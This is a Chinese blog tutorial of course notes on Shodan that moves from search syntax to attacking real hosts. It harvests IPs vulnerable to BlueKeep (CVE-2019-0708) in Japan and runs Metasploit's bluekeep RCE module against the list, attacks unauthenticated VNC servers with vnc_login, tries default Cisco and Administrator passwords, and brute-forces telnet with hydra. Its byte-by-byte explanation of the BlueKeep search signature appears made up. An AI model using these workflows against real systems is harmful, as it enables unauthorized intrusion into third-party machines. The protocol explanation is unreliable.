泷羽sec学习-shodan1-4各种骚姿势篇

声明

        学习视频笔记均来自B站UP主" 泷羽sec",如涉及侵权马上删除文章

        笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

一、 shodan简介与安装使用

1.1 shodan简介

Shadan官网:https://www.shodan.io/

Shodan 是一个网络搜索引擎,专注于搜索互联网上连接的设备、服务和网络。shodan搜索引擎不同于百度、谷歌,它是专门搜网络设备的,包括电脑、摄像头、服务器、路由器等,很多东西只要联网的,只要有IP地址的都可以称为网络设备,shodan工作原理:在服务器上部署了各种扫描器,它们二十四小时不停的扫描。以下是 Shodan 的一些主要功能:

1.设备搜索:Shodan 允许用户通过关键字、IP地址、端口号等搜索连接到互联网的设备,包括摄像头、路由器、工控系统、服务器等。

2.服务搜索:用户可以搜索特定的网络服务,例如开放的FTP、SSH、HTTP等端口,查看连接到这些服务的设备,了解设备所提供的服务类型。

3.漏洞扫描:Shodan 提供漏洞扫描服务,用户可以使用该服务检查设备和服务是否存在已知的安全漏洞,这对于进行漏洞评估和安全审计非常有用。

4.可视化工具:Shodan 提供交互式的地图和图形工具,使用户能够以可视化方式探索互联网上的设备分布、服务分布和漏洞情况。

5.历史数据:用户可以查看设备和服务的历史数据,了解它们随时间的变化,这有助于追溯特定设备或服务的演变和安全状态。

6.API 支持:Shodan 提供 API,允许用户通过编程方式进行搜索和获取数据,使得用户能够自动化他们的工作流程,并集成 Shodan 数据到他们的安全工具中。

7.监视和提醒:用户可以设置监视规则,以便在发现满足特定条件的设备或服务时收到提醒,这有助于及时发现网络中的变化和潜在威胁。

8.搜索网络设备:Shodan 可以通过IP地址、端口号、国家、服务协议等条件,搜索各种以太网设备。

9.断层分析:用户可以按断层过滤设备信息,以了解特定地区的设备分配及其安全状态。

10.开放端口分析:分析设备的开放端口,帮助网络管理员识别潜在风险。

11.网络地图和报告:Shodan 提供详细的可视化报告和地图功能,帮助用户直观地了解网络安全情况。

1.2shodan工作原理

1.爬行互联网:Shodan部署了一个由扫描工具和传感器组成的庞大网络,这些工具持续扫描互联网,连接到各种IP地址并尝试识别开放端口和在其上运行的服务。

2.主动扫描:Shodan定期扫描全球网络的IP地址,使用多个端口进行扫描,例如80(HTTP)、443(HTTPS)、22(SSH)等常见端口。

3.数据采集:当Shodan的扫描工具发现IP地址上的开放端口时,它们会收集有关该端口上运行的设备或服务的信息。这包括设备类型、软件版本、横幅和其他元数据等详细信息。Shodan还收集设备的地理位置、组织和其他相关数据等信息。

4.收集信息:Shodan在扫描设备过程中会收集设备的服务信息,包括开放端口、操作系统版本、服务类型、SSL证书等。

5.建立数据库:将获取的信息整理成一个数据库,供用户通过关键词搜索特定类型的设备、网络漏洞和开放端口等。

6.搜索机制:Shodan提供了一个用户友好的搜索界面,允许用户使用各种搜索参数来搜索特定的设备或服务。用户可以输入搜索查询,根据设备类型、软件、位置、开放端口等过滤结果。Shodan的搜索语法使用户能够优化搜索,以准确找到他们想要的内容。

1.3在kali中安装shodan

1.安装命令:

git clone https://github.com/achillean/shodan-python.git    

cd shodan-python                                                             

python setup.py install                                                       

shodan init api_key                                   

在kali命令窗口克隆shoda346219a36d6a48f393790ac47948cfd7.png cd命令切换进入到shodan-python   安装Shodan的Python库58b1b7247ece4c3586040bf511e09e65.png初始化配置api_key(这个key是自己的账号里面的)key在Show里0da495640bad4a429a471eea7ab47b56.pngb6c59d8c73fb48c6a76cbb09ef3b55c4.png

1.4查看帮助文档

 shodan -h

59e83ba48c9a4f78a0a8715269833498.png

1.5使用搜索过滤

port:搜索指定的端口或服务,例如 port:"21" 用于搜索开放FTP服务的设备。

hostname:搜索指定的主机或域名,例如 hostname:"google"。

country:搜索指定的国家,例如 country:"CN"。

city:搜索指定的城市,例如 city:"Hefei"。

org:搜索指定的组织或公司,例如 org:"google"。

isp:搜索指定的ISP供应商,例如 isp:"China Telecom"。

product:搜索指定的操作系统/软件/平台,例如 product:"Apache httpd"。

version:搜索指定的软件版本,例如 version:"1.6.2"。

geo:搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808"。

before/after:搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15"。

net:搜索指定的IP地址或子网,例如 net:"210.45.240.0/24"。

--limit:限制搜索结果的数量,例如 --limit 10 表示只搜索10条信息资产。

--fields:过滤不重要的信息,例如 --fields ip_str,port 用于只显示IP和端口信息。

ip_str:结果用IPv4的状态输入。

color:搜索的信息标红,颜色加深的意思。

os:指定操作系统,例如 os:"windows 7"。

has_vuln:表示搜索存在漏洞的资产,例如 has_vuln:True。

device:搜索特定类型的设备,如 device:"webcam" 或 device:"router"。

1.6常见参数用法

search:表示搜索的意思

host:表示用于搜索包含指定ip的主机,例如shodan host ip

port:指定端口,例如port:3389

--limit 10:表示只搜索10条信息资产

--fields:表示过滤不重要的信息

ip_str:表示结果用成为ipv4的状态输入

color:表示颜色加深输出

country:表示国家地区,例如country:cn

city:表城市,例如city:shenzhen

1.7常见shodan命令

1.7.1  search命令

例1 按国家搜索:shodan search --limit 10 country:jp

shodan search:执行搜索操作

--limit 10:限制搜索结果为10条

country:jp 搜索结果限制在日本  (jp为日本的国家代码)396b6bbf95ff467d92e17f8be5bac1a1.png

shodan host ip  查看指定主机的相关信息,如地理位置、开放端口、可能存在的漏洞等信息。49272063319d4709b9849f6daaf92372.png

例2 按ip(数值形式)、端口和国家搜索:

shodan search --limit 10 --fields ip,port country:jp

--fields ip,port:指定返回结果中应包含的字段,即IP地址和端口号。c3b02f3218e840f480dea187a37cb8e6.png

例3 按ip(字符串形式)、端口和国家搜索:

shodan search --limit 10 --fields ip_str,port country:jp

--fields ip_str,port:指定返回结果中应包含的字段,即IP地址(以字符串形式)和端口号。
数字IP地址
数字IP地址通常指的是IP地址的数值形式,即IP地址的十进制表示。它用于在网络中唯一标识一个设备或服务。

be2606885aca4e95ab073f9bd4999aa0.png

例4:country、city,增加国家和城市

shodan search --limit 10 --fields ip_str,port 443 country:cn city:beijing8251374b6fb947d4beac86f7316e337d.png

例5:操作系统:os:windows7

shodan search --limit 10 --fields ip_str,port:80 country:jp os:windows7ebe72eea45ba4488a6b49cf98394e318.png

例6:漏洞:has_vuln:True 表示可以扫描80端口的资产中,存在漏洞的资产

shodan search --limit 10 --fields ip_str,port:443  country:jp os:windows has_vuln:Ture6b4053c0f30842a8ad34d1d2bfcdb2a4.png

例7:web端的一些设备

设备:摄像头:device:webcam

设备:路由器:device:router

shodan search --limit 10 --fields ip_str,port:443 country:jp device:webcam

shodan search --limit 10 --fields ip_str,port:443 country:jpdevice:routerfc8594c294944101ae6dd27fe9cdc7e0.pngc74f35df9c9148ada2c4fc56a35a26d6.png

例8:查看下载帮助功能

shodan download -h

用法:shodan download[选项]<文件名><搜索查询
选项
--fields 文本:指定要下载的属性列表。

--limit 整数:设置下载结果数量,使用-1可以下载尽可能多的数据。

-h,--help:显示帮助信息并退出。

c152f1b6998f4b8fa9df74fd8fe6cdba.png

例9:下载文件

shodan download 0708 --limit 10 --fields ip_str,port ' "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00" '

0708:查询ID或数据集的标识符,

--limit 10:限制下载的数据条目数为10条。

--fields ip str,port:指定要下载的字段,即IP地址和端号。

' "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00" '包含特定十六进制字节值的字符串,用于过滤下z载数据的条件6dc8e4969dc44796a226276761706190.png

例10:查看解析帮助功能

shodan parse -h

用法:shodanparse[选项] <文件名>:
--color/--no-color
--fields 文本:指定要输出的属性列表。-f,--fi1ters 文本:使用键值对过滤特定值的结果。
-o,--filename 文本:将过滤后的结果保存在指定文件中。
--separator 文本:定义搜索结果属性之间的分隔符。-h,--help:显示帮助信息并退出。aa38f8aba264470bbd2b5b6ed3568d5e.png

例11:解析文件

shodan parse --fields ip_str 0708.json > 0708.txt

shodan parse:解析下载的Shodan数据文件。

--fields ip_str:指定要解析并输出的字段,即IP地址。

0708.json:之前使用shodan download命令下载的JSON文件。

> 0708.txt:将解析结果输出到0708.txt文件中。afed5ba5668f4af297a4f920666d34b0.png05f94e1c01104f9da2bcd3992607a752.png

例12:统计匹配结果数量

shodan count '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'

shodan:指定要使用的服务是Shodan。

count:返回与搜索查询匹配的结果数量。

'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"':十六进制编码的字符串,用于匹配特定的网络协议数据包、设备指纹或其他网络通信特征。

a52f55cbba9a4600a1cd88bec611e67c.png

例13:搜索特定漏洞

shodan search --limit 10 --fields ip_str vuln:CVE-2019-0708 country:jp

vuln:CVE-2019-0708:搜索具有特定漏洞的设备。country:jp:搜索结果限定在日本。(应该是没有权限不让搜索)091938bf01fe4d7a87b96c76964a3660.png

二、批量查找并验证CVE-2019-0708漏洞

1、漏洞原理

在存在漏洞的远程桌面服务器上,当接收到特定格式的数据包时,会释放一个内部通道 MS-T120 的控制结构体。此时,指向该结构体的指针未被清除,导致攻击者可以重新占用被释放的 MS-T120 结构体,并将适当的值赋给结构体内的函数指针,从而实现远程命令执行。

 

内部信道定义与分类

定义:内部信道是指在设备、系统或网络内部用于信息传输的通道。

分类:

1.逻辑信道:在设备或系统内部承载不同类型信息的逻辑通道。

2.物理信道:实际存在的物理连接(如导线、光纤等),用于在设备内部或不同设备间传输信息。

2、CVE-2019-0708 漏洞分析

 CVE-2019-0708,也被称为 BlueKeep 漏洞,是一个影响 Microsoft Windows 的远程代码执行漏洞,主要存在于远程桌面协议 (RDP) 服务中。该漏洞允许未经身份验证的攻击者通过发送特制数据包,远程执行代码。影响版本:

Windows 7、Windows Server 2008、Windows Server 2008 R2、Windows Server 2003、Windows XP

3、漏洞指纹

以下是 CVE-2019-0708 漏洞特征的十六进制表示:

‘”\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”’ 十六进制漏洞特征,cve漏洞特征网上还有很多,可以举一反三;

"\x03" : 此字节表示有效负载的类型。在这种情况下,它指示有效负载是 “Client Core Data” 消息 。>> Client Core Data :可以解释为客户端的核心数据;

“\x00” :此字节表示与有效负载关联的标志。在这种情况下,它表示没有设置其他标志 

 “\x00\x0b” :这两个字节表示有效负载的长度。在这种情况下,它表示 有效负载的长度为 11 字节 。

“\x06\xd0” :这两个字节表示与负载关联的通道 ID。在这种情况下,它表示 有效负载适用于“rdpdr”通道 ,该通道用于 RDP 中的驱动器重定向 。>> rdpdr :通过RDPDR通道,用户可以在远程会话中访问和操作本地设备,实现设备资源的共享和利用。

“\x00\x00” :这两个字节表示数据包序列号。在这种情况下,它表示 数据包序列号为 0 

“\x124\x00” :这三个字节表示负载数据。在这种情况下,它是可以触发 RDP 协议中漏洞的字节序列。

 

4、漏洞验证方法

以下是验证 CVE-2019-0708 漏洞存在的几种方法

方法一
使用 Shodan 搜索特定的漏洞指纹:这条命令针对特定的漏洞特征进行搜索

shodan search --limit 10 --fields ip_str,port '"/x03/x00/x00/x0b/x06/xd0/x00/x00/x124/x00"'242a260c9d02486ebf095990459f19b5.png方法二:
基于关键字Remote Desktop Protocol 进行搜索:该方法有误差,返回结果很多没漏洞,不如方法一

shodan search --limit 10 --fields ip_str,port "port:3389 Remote Desktop Protocol"b0352403c096416385d09916d50dc17c.png方法三:
使用 Shodan 的漏洞搜索功能:此方法直接查找已知存在该漏洞的设备,权限不够。

shodan search --limit 10 --fields ip_str vuln:"CVE-2019-0708"8d205ef71a6c45aea9df262f63fc2d36.png

5、漏洞收集

1、利用'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'特征搜索漏洞

shodan search --limit 10 --fields ip_str,port '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp0937260d411549988cac5317018cfb9b.png

2、批量扫描出来ip之后,用远程桌面连接扫描验证漏洞是否存在,然后尝试用弱口令:Administrator,Administrator,进行验证

3、批量验证漏洞

1.用收集到的资产生成一个.txt,

2.打开kali自带的msfconsole工具进行检测

3.msfconsole命令: search cve-2019-0708:search 0708

54bbf29646f146c4bffcc6a79dea3d68.png8b1bf799458b43ee939238564f24bb81.png9235f3f59455465c9d4a32783ba1ac8e.pnguse exploit/windows/rdp/cve_2019_0708_bluekeep_rce

查询命令是 options:show options

配置攻击IP命令是 set:set rhosts file:拖入ip地址文件

(拉入.txt文件之后,回车就可以 最后一步check)

4、资产批量下载并解析

parse(解析)和download(下载)这两个参数

shodan download --help:查看download帮助文档

shodan download 0708 --limit 10 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' country:jp(下载的是10条漏洞给信息的资产,download后面跟着的0708是下载的文件名)

5de50a598a1c4a42abea29cb02390a99.png

shodan parse -h

shodan parse --fields ip_str 0708

此时下载好的文件信息就都可以看得见了

f56068aa403041ff9c4e10a8dec68c6d.png

shodan parse --fields ip_str 0708>0708.txt :重定向为一个txt文件,但是也可以用windows的解压工具解压

最后也可以用shodan search vuln:CVE-2019-0708,这条命令去搜,但是这个是要高级账号,所以我们用的'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' 就是绕过这个vuln,进行搜索

如果攻击不成功有几个点给大家说一下,首先:show options看清我们的这个payload,ip端口要填对,在一个是show targets支持windows7,sever这种,你得把targets设置正确。

三、shodan利用漏洞远程连接nvc

1、概念

VNC(Virtual Network Computing)是虚拟网络计算的缩写,它是一种远程桌面共享与控制技术,允许用户通过网络远程访问和控制另一台计算机的桌面界面。

安全性:VNC本身提供了基本的安全保障,如 访问密码设置等。在实际使用过程中,用户仍需采取额外措施以确保数据传输的安全性,如 使用加密通信协议 等。

技术特点 跨平台性:VNC支持多种操作系统,包括 Windows 、 macOS 和Linux ,使得不同平台之间的远程访问变得简单。简单易用:用户只需在两台计算机上安装VNC软件即可进行远程控制。

高效性:VNC技术基于图像传输,即使 在网络速度较慢的情况下也能提供流畅的远程控制体验 。

2、shodan搜索空密码VNC

shodan search --limit 10 --fields ip_str country:jp

"authentication disabled" port:5900

“Authentication disabled” >>这一术语通常表示某种形式的身份验证功能已被禁用。

port:5900 >>是这一漏洞的必要条件,如果5900端口不开启,那么空密码vnc大概率不存在

扫描出的ip不一定每个都可以用,这主要是因为shodan的信息具有一定的滞后性.

MSF爆破VNC弱口令("现在收获,以后解密")

3、vnc空密码漏洞

shodan search --limit 10 --fields ip_str "authentication disabled" port:5900 country:jp

找符合5900端口nvc空密码,然后用vnc软件尝试对资产进行空密码连接,看到下面的warn就基本是稳了9ceea5dc97724f78865bc7f94e09aebc.png

shodan search download --limit 100 "authentication disabled" port:5900 country:jp

批量下载资产下来

shodan parse  --fields ip_str 文件包>nvc.txt

搜索出来的资产重定向到.txt文件

然后还是按照msfconsole同样的方法进行检测就可以

4、攻击流程

1.打开kali,通过命令 msfconsole 进入Metasploit

2.寻找相应模块,命令是 search vnc_login

3.这个模块只有一个,所以直接 use 0

4.通过 options 命令查看相关配置:show options

5.需要手动配置的只有一个 rhost ,按需配置即可

6.配置完成之后,通过命令 run 或 exploit 开始攻击

特定IP历史解析记录查询

shodan host ip --history >>可以查询到端口的历史开放情况

四、shodan搜索弱口令设备

1. shodan myip:查看自己的出口ip

2.利用shodan找被挂黑的网站,然后访问ip地址就可以看到被挂黑网页

shodan search --limit 10 --fields ip_str,port http.title:hacked by2104276d750a499d9261de6241f8a747.png3.精确到城市资产

shodan search --limit 10 --fields ip_str,port http.title:hacked by country:jp

shodan search --limit 10 --fields ip_str,port http.title:hacked by country:jp city:dongjing

4.拓展其他关键字,比如棋牌,后台,mysql等等

shodan search --limit 10 --fields ip_str,port http.title:mysql country:jpc6aeb7244260474da31c8379459a6edd.png5.搜网络设备 cisco -authored port:23 :网络设备的关键字

shodan search --limit 10 --fields ip_str,port "cisco -authored port:23"

弱口令:Username:admin/cisco  Password:cisco3a8c5396cddb45eb95d48fe752789326.png

shodan search --limit 10 --fields ip_str,port country:jp "mysql -authorired port:3306"

6.九头蛇(可以利用九头蛇进去暴力破解账号密码):

hydra -s 23 -V -L name.txt -P password.txt -t 16 -M kl.txt telnet

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值